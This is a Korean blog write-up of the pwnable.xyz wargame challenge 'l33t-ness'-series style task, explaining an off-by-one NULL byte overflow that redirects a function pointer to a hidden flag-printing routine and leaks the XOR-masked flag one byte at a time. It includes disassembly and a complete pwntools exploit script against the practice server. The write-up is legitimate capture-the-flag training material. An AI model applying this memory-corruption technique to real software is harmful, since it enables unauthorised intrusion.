if ( size > 0 && (unsigned int)size <= 0x40 )
{ memset(s, 0, 0x48uLL); fd = open("/dev/urandom", 0); if ( fd == -1 ) { puts("Can't open /dev/urandom"); exit(1); } read(fd, s, size); for ( i = 0; i < size; ++i ) { while ( !s[i] ) read(fd, &s[i], 1uLL); } strcpy(key, s); close(fd); } |
.bss:0000000000202040 public key
.bss:0000000000202040 ; char key[64] .bss:0000000000202040 key db 40h dup(?) ; DATA XREF: generate_key+E4↑o .bss:0000000000202040 ; load_flag+73↑o .bss:0000000000202080 public do_comment .bss:0000000000202080 ; __int64 (*do_comment)(void) .bss:0000000000202080 do_comment dq ? ; DATA XREF: print_flag+10↑o .bss:0000000000202080 ; print_flag+40↑w ... .bss:0000000000202088 align 20h |
generate_key
함수에서 키 길이를 64로 설정하면 strcpy
에서 off-by-one 버그로 NULL 바이트가 do_comment
에 쓰여진다.
if ( getchar() == 'y' )
do_comment = (__int64 (*)(void))f_do_comment; do_comment(); |
print_flag
함수에서 y를 입력하면 f_do_comment
의 주소 0xB1F가 do_comment
에 쓰여진다.
0xB1F를 쓰고 나서 generate_key
에서 NULL byte overflow를 유발하면 do_comment
의 값은 0xB00가 된다. 이 값이 무엇인가 찾아보니..
.text:0000000000000A80 ; =============== S U B R O U T I N E =======================================
.text:0000000000000A80 .text:0000000000000A80 ; Attributes: bp-based frame .text:0000000000000A80 .text:0000000000000A80 public a .text:0000000000000A80 a proc near .text:0000000000000A80 ; __unwind { .text:0000000000000A80 push rbp .text:0000000000000A81 mov rbp, rsp .text:0000000000000A84 retn .text:0000000000000A84 a endp ; sp-analysis failed .text:0000000000000A84 .text:0000000000000A84 ; --------------------------------------------------------------------------- .text:0000000000000A85 db 79h dup(90h) .text:0000000000000AFE ; --------------------------------------------------------------------------- .text:0000000000000AFE pop rbp .text:0000000000000AFF retn .text:0000000000000AFF ; } // starts at A80 .text:0000000000000B00 .text:0000000000000B00 ; =============== S U B R O U T I N E ======================================= .text:0000000000000B00 .text:0000000000000B00 ; Attributes: bp-based frame .text:0000000000000B00 .text:0000000000000B00 public real_print_flag .text:0000000000000B00 real_print_flag proc near .text:0000000000000B00 ; __unwind { .text:0000000000000B00 push rbp .text:0000000000000B01 mov rbp, rsp |
real_print_flag
함수의 주소다. 함수 a
는 real_print_flag
의 주소를 0xB00으로 맞춰주기 위한 장치로 보인다. nop nop nop
이렇게 바로 끝나면 좋겠지만 아쉽게도 다른 트릭이 또 걸려있다.
read(fd, flag, 0x40uLL);
for ( i = 0; i <= 0x3F; ++i ) flag[i] ^= key[i]; |
load_flag
에서 플래그를 key
와 xor 연산한다. generate_key
에서 키값의 각 바이트는 0이 되지 않도록 제약을 걸어 뒀지만 마지막에는 항상 NULL 바이트가 붙는다. 어떤 값에 대해서 XOR 0 은 항상 원래의 값이므로, key
의 길이를 1부터 차례로 늘려가면 플래그의 원문을 한 글자씩 얻을 수 있다. (main
에서 generate_key(63);
을 호출해 key
에 이미 값이 전부 쓰여졌으므로 키값의 길이를 1로 설정하고 바로 전문을 가져올 수는 없다.)
원래 연결 한 번에 전부 가져오려고 했지만 60초 알람 시그널 때문에 시간이 부족해서 글자 하나마다 연결을 재설정했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def log_error(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def init() : global p if args.remote : p = connect('svc.pwnable.xyz', 30006) else : p = process('./challenge') def GenerateKey(size:int) : p.writelineafter(b'> ', b'1') p.writelineafter(b'len: ', str(size).encode()) def LoadFlag() : p.writelineafter(b'> ', b'2') def PrintFlag(answer:bytes, proc_read:bool) : p.writeline(b'3') p.writeafter(b'? ', answer) if answer == b'y' : p.writelineafter(b': ', b'AAAA') elif proc_read : return p.readuntil(b'1. R', drop=True) def exploit() : flag = 'F' i = 1 while True : init() p.readuntil(b'> ') PrintFlag(b'y', False) GenerateKey(i) LoadFlag() GenerateKey(64) leak = PrintFlag(b'a', True) try : c = chr(leak[i]) log_info('flag[{}] = {}'.format(i, c)) flag += c i += 1 if c == '}' : break except IndexError : log_error('Unintended NULL byte, trying again...') p.close() log_info('Flag: '+flag) if __name__ == '__main__' : context.log_level = logging.ERROR parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() exploit() |
Last update: 10/23/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / l33t-ness (0) | 2020.01.13 |
---|---|
pwnable.xyz / Jmp table (0) | 2020.01.13 |
pwnable.xyz / Free Spirit (0) | 2020.01.13 |
pwnable.xyz / two targets (0) | 2020.01.13 |
pwnable.xyz / xor (0) | 2020.01.13 |